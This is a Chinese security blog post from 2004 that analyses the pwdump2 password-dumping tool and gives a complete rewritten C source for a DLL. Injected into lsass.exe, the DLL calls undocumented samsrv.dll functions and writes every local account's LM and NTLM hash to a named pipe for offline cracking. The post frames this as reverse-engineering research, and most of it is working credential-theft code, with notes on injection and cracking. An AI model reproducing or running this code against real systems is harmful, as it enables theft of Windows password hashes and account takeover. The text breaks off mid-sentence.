关闭

pwdump2/samdump.c浅析与改进

1722人阅读 评论(0) 收藏 举报
作者:scz <scz@nsfocus.com>
出处:http://www.nsfocus.com
日期:2004-03-05

☆ pwdump2/samdump.c浅析与改进

(txt版全文http://www.opencjk.org/~scz/200401041902.txt)

samdump.c调用LsaQueryInformationPolicy()获取主机SID,未调用LsaFreeMemory()
释放内存,造成lsass.exe进程空间的内存泄漏。此外,需要引入advapi32.lib。

samdump.c中有一个RegCloseKey()操作,可能最初直接读取注册表,后因LM Hash、
NTLM Hash加密存放,才改用samsrv.dll引出的未公开(文档化)函数。

我重写了pwdump2,主要是配合前段时间samsrv.dll的逆向工程,将一些猜测性结论
加以验证,或推翻或肯定。参getlmhashdll.c源代码,将整个流程减化、抽象一下:

--------------------------------------------------------------------------
SamIConnect
    SamrEnumerateDomainsInSamServer
        SamrLookupDomainInSamServer
            SamrOpenDomain
                SamrEnumerateUsersInDomain
                    SamrOpenUser
                        SamrQueryInformationUser
                        SamIFree_SAMPR_USER_INFO_BUFFER
                    SamrCloseHandle
                SamIFree_SAMPR_ENUMERATION_BUFFER
            SamrCloseHandle
        LocalFree
    SamIFree_SAMPR_ENUMERATION_BUFFER
SamrCloseHandle
--------------------------------------------------------------------------

SamrEnumerateDomainsInSamServer、SamrLookupDomainInSamServer是Todd Sabin未
曾用到的samsrv.dll引出函数,用以代替LsaQueryInformationPolicy,其实我演示
的这个方法才是正经的SAM操作方法。我的意思是,要用未文档化的函数,就都用好
了。

使用LsaQueryInformationPolicy的话,就不必使用SamrEnumerateUsersInDomain,
理念换成"尽量使用文档化的函数",用NetUserEnum枚举帐号。

相比samdump.c,没有其它改进,Todd Sabin已经完成了必要的Hacking。

--------------------------------------------------------------------------
/*
* (C) Todd Sabin 1997,1998,2000  All rights reserved.
* -----------------------------------------------------------------------
* Rewrite  : scz <scz@nsfocus.com>
*          : http://www.nsfocus.com
* Version  : 1.10
* Compile  : For x86/EWindows XP SP1 & VC 7
*          : cl getlmhashdll.c /nologo /Os /G6 /W3 /D "WIN32" /D "NDEBUG" /LD /link /RELEASE
*          :
* Create   : 2003-12-29 21:42
* Modify   : 2004-01-04 17:26
* -----------------------------------------------------------------------
* The only thing they can't take from us are our minds. !H
*/

/************************************************************************
*                                                                      *
*                               Head File                              *
*                                                                      *
************************************************************************/

/*
* #define _WIN32_WINNT 0x0501
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* for _vsnprintf()
*/
#include <stdarg.h>
#include <windows.h>

/************************************************************************
*                                                                      *
*                               Macro                                  *
*                                                                      *
************************************************************************/

#pragma comment( linker, "/INCREMENTAL:NO"    )
#pragma comment( lib,    "kernel32.lib"       )

#define VERSION                         "1.10"

/*
* you'll find a list of NTSTATUS status codes in the DDK header
* ntstatus.h (/WINDDK/2600.1106/inc/ddk/wxp/)
*/
typedef LONG                            NTSTATUS;
#define NT_SUCCESS(status)              ((NTSTATUS)(status)>=0)
#define STATUS_MORE_ENTRIES             ((NTSTATUS)0x00000105L)

#define SamUserOWFPasswordInformation   0x12

#pragma pack( push, 1 )

/*
* ntdef.h
*/
typedef struct _UNICODE_STRING
{
    USHORT  Length;         // +0x000
    USHORT  MaximumLength;  // +0x002
    PWSTR   Buffer;         // +0x004
                            // +0x008
} UNICODE_STRING, *PUNICODE_STRING;

/*
* !!!
* from Luke Kenneth Casson Leighton
*/
typedef struct _SAM_DOMAIN_USER
{
    DWORD           userrid;    // +0x000
    UNICODE_STRING  username;   // +0x004,这是一个结构,而非结构指针
                                // +0x00c,该结构总共占12字节
} SAM_DOMAIN_USER, *PSAM_DOMAIN_USER;

/*
* !!!
* (C) Todd Sabin 1997,1998,2000  All rights reserved.
*/
typedef struct _SAM_DOMAIN_USER_ENUMERATION
{
    DWORD               DomainUserCount;    // +0x000,数组元素个数
    PSAM_DOMAIN_USER    DomainUser;         // +0x004,动态分配空间的结构数组
                                            // +0x008,后面还有没有成员,目前看不出来
    /*
     * ... ...
     */
} SAM_DOMAIN_USER_ENUMERATION, *PSAM_DOMAIN_USER_ENUMERATION, **PPSAM_DOMAIN_USER_ENUMERATION;

/*
* 自己Hacking得到的结构,不可靠
*/
typedef struct _SAM_USER_OWF_PASSWORD_INFORMATION   // Information Class 0x12
{
    unsigned char       NTLMHash[16];   // +0x000,16字节的NTLM Hash
    unsigned char       LMHash[16];     // +0x010,16字节的LM Hash
    unsigned short int  Unknown_020;    // +0x020,参samsrv!SampGetCurrentAdminPassword()
    unsigned char       Unknown_022;    // +0x022
                                        // +0x023
} SAM_USER_OWF_PASSWORD_INFORMATION, *PSAM_USER_OWF_PASSWORD_INFORMATION;

typedef struct _SAM_SERVER_DOMAIN
{
    DWORD           unused;         // +0x000,未使用,总为0(猜测)
    UNICODE_STRING  domainname;     // +0x004,这是一个结构,而非结构指针
                                    // +0x00c,该结构总共占12字节
} SAM_SERVER_DOMAIN, *PSAM_SERVER_DOMAIN;

typedef struct _SAM_DOMAIN_ENUMERATION
{
    DWORD               ServerDomainCount;  // +0x000,数组元素个数
    PSAM_SERVER_DOMAIN  ServerDomain;       // +0x004,动态分配空间的结构数组
                                            // +0x008,后面还有没有成员,目前看不出来
    /*
     * ... ...
     */
} SAM_SERVER_DOMAIN_ENUMERATION, *PSAM_SERVER_DOMAIN_ENUMERATION, **PPSAM_SERVER_DOMAIN_ENUMERATION;

#pragma pack( pop )

/*
* 这些Undocumented Win32 API由samsrv.dll引出(export)
*/
typedef NTSTATUS ( WINAPI *SAMICONNECT )
(
    DWORD   Unknown_0,      // 意义不明,调用时一般为0
    PHANDLE pSamHandle,     // [out]参数,是指向HANDLE的指针,不是HANDLE
    DWORD   AccessMask,     // Access Mask
    DWORD   Unknown_1       // 意义不明,调用时一般为1
);

typedef NTSTATUS ( WINAPI *SAMROPENDOMAIN )
(
    HANDLE  SamHandle,      // 源自sam connect操作
    DWORD   AccessMask,     // Access Mask
    PSID    DomainSid,      // 这个域不是通常所说NT域
    PHANDLE pDomainHandle   // [out]参数,是指向HANDLE的指针,不是HANDLE
);

typedef NTSTATUS ( WINAPI *SAMROPENUSER )
(
    HANDLE  DomainHandle,   // 源自sam open domain操作
    DWORD   AccessMask,     // Access Mask
    DWORD   Rid,            // 比如500,0x1F4,Administrator
    PHANDLE pUserHandle     // [out]参数,是指向HANDLE的指针,不是HANDLE
);

typedef NTSTATUS ( WINAPI *SAMRQUERYINFORMATIONUSER )
(
    HANDLE  UserHandle,     // 源自sam open user操作
    DWORD   InfoClass,      // 其实是SAM_USER_INFORMATION_CLASS枚举型,为
                            // 了减少编译难度,换成DWORD型
    PVOID   UserInfo        // 随InfoClass不同,对应不同的结构
);

typedef VOID     ( WINAPI *SAMIFREE_SAMPR_USER_INFO_BUFFER )
(
    PVOID   UserInfo,       // 随InfoClass不同,对应不同的结构
    DWORD   InfoClass       // 其实是SAM_USER_INFORMATION_CLASS枚举型,为
                            // 了减少编译难度,换成DWORD型
);

typedef NTSTATUS ( WINAPI *SAMRCLOSEHANDLE )
(
    PHANDLE pHandle         // 可以关闭各种sam操作相关的句柄
                            // 是指向HANDLE的指针,不是HANDLE
);

typedef NTSTATUS ( WINAPI *SAMRENUMERATEUSERSINDOMAIN )
(
    HANDLE                          DomainHandle,               // 源自sam open domain操作
    PHANDLE                         pEnumerationHandle,         // [in/out]参数,Resume Handle
                                                                // 是指向HANDLE的指针,不是HANDLE
    DWORD                           AccessMask,                 // filter,Access Mask
                                                                // 如欲枚举所有帐号,指定0
    PPSAM_DOMAIN_USER_ENUMERATION   pDomainUserEnumeration,     // [out]参数
    DWORD                           PrefMaxSize,                // 意义未明,似乎对应Pref MaxSize
                                                                // 可以指定成0x0000FFFF
    PDWORD                          pUserCount                  // [out]参数,枚举出的帐号数目
);

typedef VOID     ( WINAPI *SAMIFREE_SAMPR_ENUMERATION_BUFFER )
(
    PVOID   EnumerationBuf  // 其实是PSAM_ENUMERATION_BUFFER
                            // 调用时可能传PSAM_DOMAIN_USER_ENUMERATION
                            // 或者传PSAM_SERVER_DOMAIN_ENUMERATION
);

typedef NTSTATUS ( WINAPI *SAMRENUMERATEDOMAINSINSAMSERVER )
(
    HANDLE                          SamHandle,                  // 源自sam connect操作
    PHANDLE                         pEnumerationHandle,         // [in/out]参数,Resume Handle
                                                                // 是指向HANDLE的指针,不是HANDLE
    PPSAM_SERVER_DOMAIN_ENUMERATION pServerDomainEnumeration,   // [out]参数
    DWORD                           PrefMaxSize,                // 意义未明,似乎对应Pref MaxSize
                                                                // 应该也可以指定成0x0000FFFF
    PDWORD                          pDomainCount                // [out]参数,枚举出的Domain数目
);

typedef NTSTATUS ( WINAPI *SAMRLOOKUPDOMAININSAMSERVER )
(
    HANDLE              SamHandle,      // 源自sam connect操作
    PUNICODE_STRING     DomainName,     //
    PSID               *pDomainSid      // [out]参数,用LocalFree()释放
);

/*
* 这些Native API由ntdll.dll引出(export)
*/
typedef ULONG    ( __stdcall *RTLNTSTATUSTODOSERROR )
(
    IN NTSTATUS status
);

/************************************************************************
*                                                                      *
*                            Function Prototype                        *
*                                                                      *
************************************************************************/

static void getlmhash           ( void );
static BOOL LocateNtdllEntry    ( void );
static BOOL LocateSamsrvEntry   ( void );
static void PrintHash           ( unsigned char *hash );
static void PrintUnicodeString  ( PUNICODE_STRING us );
static void PrintWin32ErrorCUI  ( char *message, DWORD dwMessageId );
static void PrintZwErrorCUI     ( char *message, NTSTATUS status );
static int  PrivatePrintf
(
    HANDLE      handle,
    char       *buf,
    size_t      count,
    const char *format,
    ...
);

__declspec(dllexport)
       DWORD __cdecl
            getlmhashdll_main   ( char *pipename );

/************************************************************************
*                                                                      *
*                            Static Global Var                         *
*                                                                      *
************************************************************************/

static HANDLE                               outfile                             = INVALID_HANDLE_VALUE;
static char                                *outbuf                              = NULL;
static size_t                               outbuflen                           = 0;
static HMODULE                              samsrv                              = NULL;

/*
* 由samsrv.dll引出的Undocumented Win32 API函数指针
*/
static SAMICONNECT                          SamIConnect                         = NULL;
static SAMROPENDOMAIN                       SamrOpenDomain                      = NULL;
static SAMROPENUSER                         SamrOpenUser                        = NULL;
static SAMRQUERYINFORMATIONUSER             SamrQueryInformationUser            = NULL;
static SAMIFREE_SAMPR_USER_INFO_BUFFER      SamIFree_SAMPR_USER_INFO_BUFFER     = NULL;
static SAMRCLOSEHANDLE                      SamrCloseHandle                     = NULL;
static SAMRENUMERATEUSERSINDOMAIN           SamrEnumerateUsersInDomain          = NULL;
static SAMIFREE_SAMPR_ENUMERATION_BUFFER    SamIFree_SAMPR_ENUMERATION_BUFFER   = NULL;
static SAMRENUMERATEDOMAINSINSAMSERVER      SamrEnumerateDomainsInSamServer     = NULL;
static SAMRLOOKUPDOMAININSAMSERVER          SamrLookupDomainInSamServer         = NULL;

/*
* 由ntdll.dll引出的Native API函数指针
*/
static RTLNTSTATUSTODOSERROR                RtlNtStatusToDosError               = NULL;

/************************************************************************/

static void getlmhash ( void )
{
    NTSTATUS    status;
    HANDLE                              SamHandle               = NULL,
                                        EnumerationHandle       = NULL,
                                        DomainHandle            = NULL,
                                        UserHandle              = NULL;
    PSAM_SERVER_DOMAIN_ENUMERATION      ServerDomainEnumeration = NULL;
    DWORD                               DomainCount             = 0,
                                        UserCount               = 0,
                                        Count                   = 0;
    PSID                                DomainSid               = NULL;
    PSAM_DOMAIN_USER_ENUMERATION        DomainUserEnumeration   = NULL;
    BOOL                                nomoredata              = FALSE;
    PSAM_USER_OWF_PASSWORD_INFORMATION  UserOWFPasswordInfo     = NULL;

    status              = SamIConnect
    (
        0,              // 意义不明,调用时一般为0
        &SamHandle,     // [out]参数,是指向HANDLE的指针,不是HANDLE
        0x10000030,     // Access Mask
                        // Generic read
                        // Open domain
                        // Enum domains
        1               // 意义不明,调用时一般为1
    );
    if ( !NT_SUCCESS( status ) )
    {
        PrintZwErrorCUI
        (
            "SamIConnect() failed",
            status
        );
        goto getlmhash_exit;
    }
    status              = SamrEnumerateDomainsInSamServer
    (
        SamHandle,                  // 源自sam connect操作
        &EnumerationHandle,         // [in/out]参数,Resume Handle
                                    // 是指向HANDLE的指针,不是HANDLE
        &ServerDomainEnumeration,   // [out]参数
        0x0000FFFF,                 // 意义未明,似乎对应Pref MaxSize
                                    // 应该也可以指定成0x0000FFFF
        &DomainCount                // [out]参数,枚举出的Domain数目
    );
    if ( !NT_SUCCESS( status ) )
    {
        PrintZwErrorCUI
        (
            "SamrEnumerateDomainsInSamServer() failed",
            status
        );
        goto getlmhash_exit;
    }
    if ( 2 != DomainCount )
    {
        goto getlmhash_exit;
    }
    status              = SamrLookupDomainInSamServer
    (
        SamHandle,                                              // 源自sam connect操作
        &ServerDomainEnumeration->ServerDomain[0].domainname,   // PUNICODE_STRING
        &DomainSid                                              // [out]参数,用LocalFree()释放
    );
    if ( !NT_SUCCESS( status ) )
    {
        PrintZwErrorCUI
        (
            "SamrLookupDomainInSamServer() failed",
            status
        );
        goto getlmhash_exit;
    }
    status              = SamrOpenDomain
    (
        SamHandle,      // 源自sam connect操作
        0x10000000,     // Access Mask
                        // SampGetCurrentAdminPassword()中用的是这个值
        DomainSid,      // 这个域不是通常所说NT域
        &DomainHandle   // [out]参数,是指向HANDLE的指针,不是HANDLE
    );
    if ( !NT_SUCCESS( status ) )
    {
        PrintZwErrorCUI
        (
            "SamrOpenDomain() failed",
            status
        );
        goto getlmhash_exit;
    }
    /*
     * TMD,前面SamrEnumerateDomainsInSamServer()用过一次,真是个相当隐蔽
     * 的错误。为了枚举所有帐号,调用SamrEnumerateUsersInDomain()之前一定
     * 要将该[in/out]参数清零。
     */
    EnumerationHandle   = NULL;
    do
    {
        status                  = SamrEnumerateUsersInDomain
        (
            DomainHandle,               // Context Handle
            &EnumerationHandle,         // [in/out]参数,Resume Handle
                                        // 是指向HANDLE的指针,不是HANDLE
            0,                          // filter,Access Mask
                                        // 如欲枚举所有帐号,指定0
            &DomainUserEnumeration,     // [out]参数
            0x0000FFFF,                 // 意义未明,似乎对应Pref MaxSize
            &UserCount                  // [out]参数,枚举出的帐号数目
        );
        if ( !NT_SUCCESS( status ) )
        {
            PrintZwErrorCUI
            (
                "SamrEnumerateUsersInDomain() failed",
                status
            );
            goto getlmhash_exit;
        }
        /*
         * from ntstatus.h(/WINDDK/2600.1106/inc/ddk/wxp/)
         *
         * Returned by enumeration APIs to indicate more information is
         * available to successive calls.
         *
         * #define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)
         */
        if ( STATUS_MORE_ENTRIES != status )
        {
            nomoredata = TRUE;
        }
        Count                   = 0;
        while ( Count < UserCount )
        {
            status              = SamrOpenUser
            (
                DomainHandle,                                       // 源自sam open domain操作
                0x10000000,                                         // Access Mask
                DomainUserEnumeration->DomainUser[Count].userrid,   // RID
                &UserHandle                                         // [out]参数,是指向HANDLE的指针,不是HANDLE
            );
            if ( !NT_SUCCESS( status ) )
            {
                PrintZwErrorCUI
                (
                    "SamrOpenUser() failed",
                    status
                );
                goto getlmhash_exit;
            }
            status              = SamrQueryInformationUser
            (
                UserHandle,                     // 源自sam open user操作
                SamUserOWFPasswordInformation,  // InformationClass,0x12,其实是
                                                // SAM_USER_INFORMATION_CLASS枚举型,
                                                // 为了减少编译难度,换成DWORD型
                &UserOWFPasswordInfo            // 随InformationClass不同,对应不同的结构
            );
            if ( !NT_SUCCESS( status ) )
            {
                PrintZwErrorCUI
                (
                    "SamrQueryInformationUser() failed",
                    status
                );
                goto getlmhash_exit;
            }
            PrintUnicodeString( &DomainUserEnumeration->DomainUser[Count].username );
            PrivatePrintf
            (
                outfile,
                outbuf,
                outbuflen,
                ":%u:",
                DomainUserEnumeration->DomainUser[Count].userrid
            );
            PrintHash( UserOWFPasswordInfo->LMHash );
            PrivatePrintf
            (
                outfile,
                outbuf,
                outbuflen,
                ":"
            );
            PrintHash( UserOWFPasswordInfo->NTLMHash );
            PrivatePrintf
            (
                outfile,
                outbuf,
                outbuflen,
                ":::/n"
            );
            SamIFree_SAMPR_USER_INFO_BUFFER
            (
                UserOWFPasswordInfo,
                SamUserOWFPasswordInformation   // InformationClass,0x12
            );
            UserOWFPasswordInfo = NULL;
            status              = SamrCloseHandle
            (
                &UserHandle
            );
            UserHandle          = NULL;
            if ( !NT_SUCCESS( status ) )
            {
                PrintZwErrorCUI
                (
                    "SamrCloseHandle() failed for UserHandle",
                    status
                );
                goto getlmhash_exit;
            }
            Count++;
        }  /* end of while */
        SamIFree_SAMPR_ENUMERATION_BUFFER
        (
            DomainUserEnumeration
        );
        DomainUserEnumeration   = NULL;
    }
    while ( FALSE == nomoredata );

getlmhash_exit:

    if ( NULL != UserOWFPasswordInfo )
    {
        SamIFree_SAMPR_USER_INFO_BUFFER
        (
            UserOWFPasswordInfo,
            SamUserOWFPasswordInformation   // InformationClass,0x12
        );
        UserOWFPasswordInfo = NULL;
    }
    if ( NULL != UserHandle )
    {
        SamrCloseHandle
        (
            &UserHandle
        );
        UserHandle = NULL;
    }
    if ( NULL != DomainUserEnumeration )
    {
        SamIFree_SAMPR_ENUMERATION_BUFFER
        (
            DomainUserEnumeration
        );
        DomainUserEnumeration = NULL;
    }
    if ( NULL != DomainHandle )
    {
        SamrCloseHandle
        (
            &DomainHandle
        );
        DomainHandle = NULL;
    }
    if ( NULL != DomainSid )
    {
        LocalFree( DomainSid );
        DomainSid = NULL;
    }
    if ( NULL != ServerDomainEnumeration )
    {
        SamIFree_SAMPR_ENUMERATION_BUFFER
        (
            ServerDomainEnumeration
        );
        ServerDomainEnumeration = NULL;
    }
    if ( NULL != SamHandle )
    {
        SamrCloseHandle
        (
            &SamHandle
        );
        SamHandle = NULL;
    }
    return;
}  /* end of getlmhash */

/*
* ntdll.dll正常引出了如下Native API,我们不想让ntdll.lib介入,这会增加编
* 译难度,于是换用GetProcAddress()获取这些函数地址。
*/
static BOOL LocateNtdllEntry ( void )
{
    BOOL    ret         = FALSE;
    char    ntdllname[] = "ntdll";
    HMODULE ntdll       = NULL;

    /*
     * returns a handle to a mapped module without incrementing its
     * reference count
     */
    ntdll                   = GetModuleHandle( ntdllname );
    if ( NULL == ntdll )
    {
        PrintWin32ErrorCUI( "GetModuleHandle() failed", GetLastError() );
        return( ret );
    }
    RtlNtStatusToDosError   = ( RTLNTSTATUSTODOSERROR )GetProcAddress
    (
        ntdll,
        "RtlNtStatusToDosError"
    );
    if ( !RtlNtStatusToDosError )
    {
        goto LocateNtdllEntry_exit;
    }
    ret                     = TRUE;

LocateNtdllEntry_exit:

    if ( FALSE == ret )
    {
        PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
    }
    if ( NULL != ntdll )
    {
        ntdll = NULL;
    }
    return( ret );
}  /* end of LocateNtdllEntry */

/*
* samsrv.dll正常引出了如下Undocumented Win32 API,由于没有samsrv.lib存在,
* 被迫利用GetProcAddress()获取这些函数地址。
*/
static BOOL LocateSamsrvEntry ( void )
{
    BOOL    ret             = FALSE;
    char    samsrvname[]    = "samsrv";

    samsrv                              = LoadLibrary( samsrvname );
    if ( NULL == samsrv )
    {
        PrintWin32ErrorCUI( "LoadLibrary() failed", GetLastError() );
        return( ret );
    }
    SamIConnect                         = ( SAMICONNECT                       )GetProcAddress
    (
        samsrv,
        "SamIConnect"
    );
    if ( !SamIConnect )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrOpenDomain                      = ( SAMROPENDOMAIN                    )GetProcAddress
    (
        samsrv,
        "SamrOpenDomain"
    );
    if ( !SamrOpenDomain )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrOpenUser                        = ( SAMROPENUSER                      )GetProcAddress
    (
        samsrv,
        "SamrOpenUser"
    );
    if ( !SamrOpenUser )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrQueryInformationUser            = ( SAMRQUERYINFORMATIONUSER          )GetProcAddress
    (
        samsrv,
        "SamrQueryInformationUser"
    );
    if ( !SamrQueryInformationUser )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamIFree_SAMPR_USER_INFO_BUFFER     = ( SAMIFREE_SAMPR_USER_INFO_BUFFER   )GetProcAddress
    (
        samsrv,
        "SamIFree_SAMPR_USER_INFO_BUFFER"
    );
    if ( !SamIFree_SAMPR_USER_INFO_BUFFER )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrCloseHandle                     = ( SAMRCLOSEHANDLE                   )GetProcAddress
    (
        samsrv,
        "SamrCloseHandle"
    );
    if ( !SamrCloseHandle )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrEnumerateUsersInDomain          = ( SAMRENUMERATEUSERSINDOMAIN        )GetProcAddress
    (
        samsrv,
        "SamrEnumerateUsersInDomain"
    );
    if ( !SamrEnumerateUsersInDomain )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamIFree_SAMPR_ENUMERATION_BUFFER   = ( SAMIFREE_SAMPR_ENUMERATION_BUFFER )GetProcAddress
    (
        samsrv,
        "SamIFree_SAMPR_ENUMERATION_BUFFER"
    );
    if ( !SamIFree_SAMPR_ENUMERATION_BUFFER )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrEnumerateDomainsInSamServer     = ( SAMRENUMERATEDOMAINSINSAMSERVER   )GetProcAddress
    (
        samsrv,
        "SamrEnumerateDomainsInSamServer"
    );
    if ( !SamrEnumerateDomainsInSamServer )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrLookupDomainInSamServer         = ( SAMRLOOKUPDOMAININSAMSERVER       )GetProcAddress
    (
        samsrv,
        "SamrLookupDomainInSamServer"
    );
    if ( !SamrLookupDomainInSamServer )
    {
        goto LocateSamsrvEntry_exit;
    }
    ret                                 = TRUE;

LocateSamsrvEntry_exit:

    if ( FALSE == ret )
    {
        PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
    }
    /*
     * 后面还要用这些函数指针,这里不得释放samsrv.dll
     */
    return( ret );
}  /* end of LocateSamsrvEntry */

static void PrintHash ( unsigned char *hash )
{
    unsigned int    i;
    char            buf[33];
    char           *p = buf;

    for ( i = 0; i < 16; i++ )
    {
        sprintf( p, "%02X", hash[i] );
        p += 2;
    }
    PrivatePrintf
    (
        outfile,
        outbuf,
        outbuflen,
        "%s",
        buf
    );
    return;
}  /* end of PrintHash */

static void PrintUnicodeString ( PUNICODE_STRING us )
{
    int             i       = 0;
    unsigned int    len     = 0;
    unsigned char  *ansibuf = NULL,
                   *ansistr = NULL;

    if ( NULL == us )
    {
        goto PrintUnicodeString_exit;
    }
    /*
     * 将Unicode串转换成DBCS串再显示,否则中文串显示有问题
     */
    len     = us->Length + 1;
    ansibuf = ( unsigned char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, len );
    if ( NULL == ansibuf )
    {
        ansistr = "No memory for ansibuf";
    }
    else
    {
        i = WideCharToMultiByte
            (
                CP_ACP,
                0,
                us->Buffer,
                ( int )( us->Length / 2 ),
                ansibuf,
                len,
                NULL,
                NULL
            );
        if ( 0 == i )
        {
            ansistr = "WideCharToMultiByte() failed";
        }
        else
        {
            ansistr = ansibuf;
        }
    }
    PrivatePrintf( outfile, outbuf, outbuflen, "%s", ansibuf );

PrintUnicodeString_exit:

    if ( NULL != ansibuf )
    {
        HeapFree( GetProcessHeap(), 0, ansibuf );
        ansibuf = NULL;
    }
    return;
}  /* end of PrintUnicodeString */

static void PrintWin32ErrorCUI ( char *message, DWORD dwMessageId )
{
    char *errMsg;

    FormatMessage
    (
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
        NULL,
        dwMessageId,
        MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
        ( LPTSTR )&errMsg,
        0,
        NULL
    );
    PrivatePrintf
    (
        outfile,
        outbuf,
        outbuflen,
        "%s: %s",
        message,
        errMsg
    );
    LocalFree
    (
        errMsg
    );
    return;
}  /* end of PrintWin32ErrorCUI */

static void PrintZwErrorCUI ( char *message, NTSTATUS status )
{
    char *errMsg;

    FormatMessage
    (
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
        NULL,
        RtlNtStatusToDosError( status ),
        MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
        ( LPTSTR )&errMsg,
        0,
        NULL
    );
    PrivatePrintf
    (
        outfile,
        outbuf,
        outbuflen,
        "%s: %s",
        message,
        errMsg
    );
    LocalFree
    (
        errMsg
    );
    return;
}  /* end of PrintZwErrorCUI */

static int PrivatePrintf
(
    HANDLE      handle,
    char       *buf,
    size_t      count,
    const char *format,
    ...
)
{
    va_list     arg;
    int         num;
    DWORD       NumberOfBytes;

    if ( INVALID_HANDLE_VALUE == handle || NULL == handle || NULL == buf || 0 == count || NULL == format )
    {
        return( -1 );
    }
    /*
     * 将来运行在lsass.exe进程上下文中,必须动用SEH机制加以保护,否则一旦
     * 出现内存访问违例,将导致整个操作系统崩溃!
     */
    __try
    {
        va_start( arg, format );
        num = _vsnprintf
              (
                  buf,
                  count - 1,
                  format,
                  arg
              );
        if ( num >= 0 )
        {
            WriteFile
            (
                handle,
                buf,
                num,
                &NumberOfBytes,
                NULL
            );
        }
        va_end( arg );
    }
    __except
    (
        EXCEPTION_EXECUTE_HANDLER
    )
    {
        num = -1;
    }
    return( num );
}  /* end of PrivatePrintf */

DWORD __cdecl getlmhashdll_main ( char *pipename )
{
    DWORD   ret = EXIT_FAILURE;

    outbuflen   = 1024;
    outbuf      = ( char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, outbuflen );
    if ( NULL == outbuf )
    {
        goto getlmhashdll_main_exit;
    }
    if ( FALSE == WaitNamedPipe( pipename, NMPWAIT_USE_DEFAULT_WAIT ) )
    {
        goto getlmhashdll_main_exit;
    }
    outfile     = CreateFile
                  (
                      pipename,
                      GENERIC_READ | GENERIC_WRITE,
                      0,
                      NULL,
                      OPEN_EXISTING,
                      0,
                      NULL
                  );
    if ( INVALID_HANDLE_VALUE == outfile )
    {
        goto getlmhashdll_main_exit;
    }
    if ( FALSE == LocateNtdllEntry() )
    {
        goto getlmhashdll_main_exit;
    }
    if ( FALSE == LocateSamsrvEntry() )
    {
        goto getlmhashdll_main_exit;
    }
    /*
     * 利用samsrv.dll引出的Undocumented Win32 API获取本机帐号的LM Hash、
     * NTLM Hash
     */
    getlmhash();
    ret         = EXIT_SUCCESS;

getlmhashdll_main_exit:

    if ( NULL != samsrv )
    {
        FreeLibrary( samsrv );
        samsrv  = NULL;
    }
    if ( INVALID_HANDLE_VALUE != outfile )
    {
        CloseHandle( outfile );
        outfile = INVALID_HANDLE_VALUE;
    }
    if ( NULL != outbuf )
    {
        HeapFree( GetProcessHeap(), 0, outbuf );
        outbuf  = NULL;
    }
    outbuflen   = 0;
    return( ret );
}  /* end of getlmhashdll_main */

BOOL WINAPI DllMain ( HINSTANCE hinstDll, DWORD fdwReason, PVOID fImpLoad )
{
    DisableThreadLibraryCalls( hinstDll );
    return( TRUE );
}  /* end of DllMain */

/************************************************************************/

--------------------------------------------------------------------------

1) pwdump2在做什么。

假设当前用户是Administrator或等效用户,pwdump2利用远程线程注入向lsass.exe
进程空间注入一段代码,加载了samdump.c生成的动态链接库,然后GetProcAddress
获取samdump.dll的一个引出函数并调用之。该引出函数获取当前系统中可枚举帐号
的LM Hash、NTLM Hash,生成LC4格式(.lc)文件,可用LC4或等效工具进行暴力破解。
关于LM Hash脆弱性,参看<<SMB系列(5)--LM/NTLM验证机制>>。

http://www.opencjk.org/~scz/200210141957.txt

第一次用加载DLL的办法完成远程线程实质性工作,以前是按照C语言式shellcode的
套路。加载DLL的办法要省不少细节上的纠缠,也趁此多做一点技术积累。

2) 为什么pwdump2这样做就可以获取LM Hash、NTLM Hash。

这个问题,严格意义上的讲解太复杂,又得扯一堆概念进来,参看[2]。简单地讲,
在lsass.exe进程上下文中调用samsrv.dll的未文档化引出函数,这些函数会返回期
望中的LM Hash、NTLM Hash。

开始我低估了SAM安全限制。以为以SYSTEM权限访问SAM即可获取LM Hash,居然失败。
最后确认非要从lsass.exe进程上下文中访问SAM,否则得到如下错误信息:

SamIConnect() failed: 安全帐户管理器(SAM)或本地安全颁发机构(LSA)服务器处于运行安全操作的错误状态。

3) 既然这种技术是未文档化的,那帮人又是如何得到这种技术的,他们Hacking的过
   程、思想的发展可能是怎样的。

最开始我在写扫描器远程漏洞扫描插件,用NetUserGetInfo()查询远程用户信息,在
Ethereal解码过程中意识到与pwdump2的联系。接下来有了逆向samsrv.dll的想法。
逆完SampUpdateEncryption、SampGetCurrentAdminPassword,就得出了前面那个抽
象流程。再与samdump.c一对照,思路很清晰。虽然我不清楚bindview的人是怎么接
近此处的,但按我这个搞法,也可接近此处,就不无谓纠缠了。

4) 在此基础上我们还能继续Hacking出其它有用的东西吗。

目前我没有更多时间Hacking这个方向,但至少成功还原了一批函数原型、数据结构。
有些东西可能目前阶段没有直接用途,但日后肯定会用到的。

枚举值SamUserOWFPasswordInformation(0x12)只能用于本机操作,如在网络操作中
指定0x12级查询,会报告无效级别,显然这出于安全考虑。我在一个底层SMB测试程
序中手工构造SamrQueryInformationUser(36)报文,试图指定level 0x12,查询失败。

5) 下次让你独立确定一个课题并研究之,你会在上述研究中受到什么样的启发,比
   如选题方向、研究方法、工具使用等等。

由此想到一种研究Windows未文档化函数的方法。很多SMB网络函数第一形参指定目标
系统,当该形参为NULL时目标系统即本机。如果用Ethereal抓取了网络通信报文,根
据DCE RPC的marshalling/unmarshalling知识,有可能还原最初的数据结构,而这种
数据结构同时适用于本机、远程操作。再结合适当的逆向工程,进展会更大。当然,
有个重要前提,就是Ethereal已经进行了正确的Network Hacking,否则会导致错误
结论。你还必须能够在Ethereal所解析出的远程过程、Windows RPC Server以及MSDN
